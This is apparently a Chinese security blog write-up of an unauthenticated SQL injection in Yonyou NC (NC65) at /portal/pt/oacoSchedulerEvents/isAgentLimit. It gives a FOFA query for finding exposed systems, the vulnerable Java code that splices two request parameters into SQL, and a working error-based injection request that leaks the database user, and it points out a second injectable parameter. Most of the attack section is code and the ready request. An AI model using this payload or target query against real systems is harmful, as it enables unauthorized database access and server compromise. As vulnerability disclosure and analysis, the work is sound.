用友NC isAgentLimit SQL注入漏洞


漏洞简介

用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC isAgentLimit 接口处pk_flowagent参数存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进一步利用可导致服务器失陷。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

根据官方漏洞通告,NC系统的/portal/pt/oacoSchedulerEvents/isAgentLimit的参数pk_flowagent存在SQL注入漏洞

isAgentLimit 的业务逻辑实现如下

@Action
    public void isAgentLimit() throws BusinessException {
        String pk_flowagent = this.getRequest().getParameter("pk_flowagent");
        String pk_byagent = this.getRequest().getParameter("pk_byagent");
        ISchedulerAgentQueryService agentQry = (ISchedulerAgentQueryService)NCLocator.getInstance().lookup(ISchedulerAgentQueryService.class);
        StringBuilder sql = new StringBuilder();
        sql.append("pk_agent='").append(pk_flowagent).append("' and pk_user='").append(pk_byagent).append("'").append(" and useflag='Y' ");
        sql.append("and '").append(new UFDateTime().toString()).append("' between startdate and stopdate ");
        SchedulerAgentVO[] agentvos = agentQry.getAgentVOsByCondition(sql.toString());
        if (agentvos != null && agentvos.length > 0) {
            this.outClientMessage("N", 0);
        } else {
            this.outClientMessage("Y", 0);
        }
    }

pk_flowagent 和 pk_byagent 直接拼接进SQL语句,造成SQL注入漏洞 ,两个参数均存在SQL注入漏洞,网上POC只提到了和官方通告一样的参数,而忽略了第二个参数。

漏洞复现

GET /portal/pt/oacoSchedulerEvents/isAgentLimit?pageId=login&pk_byagent=-1'and+1=utl_inaddr.get_host_name((select+user+from dual))-- HTTP/1.1
Host: nc65.mrxn.net

报错注入,成功回显当前数据库用户

参考

  • https://security.yonyou.com/#/noticeInfo?id=560

手机扫码阅读

CVE-2024-55215: Jrohy/trojan 未授权修改管理员密码漏洞

用友NC getOtherData SQL注入漏洞

评 论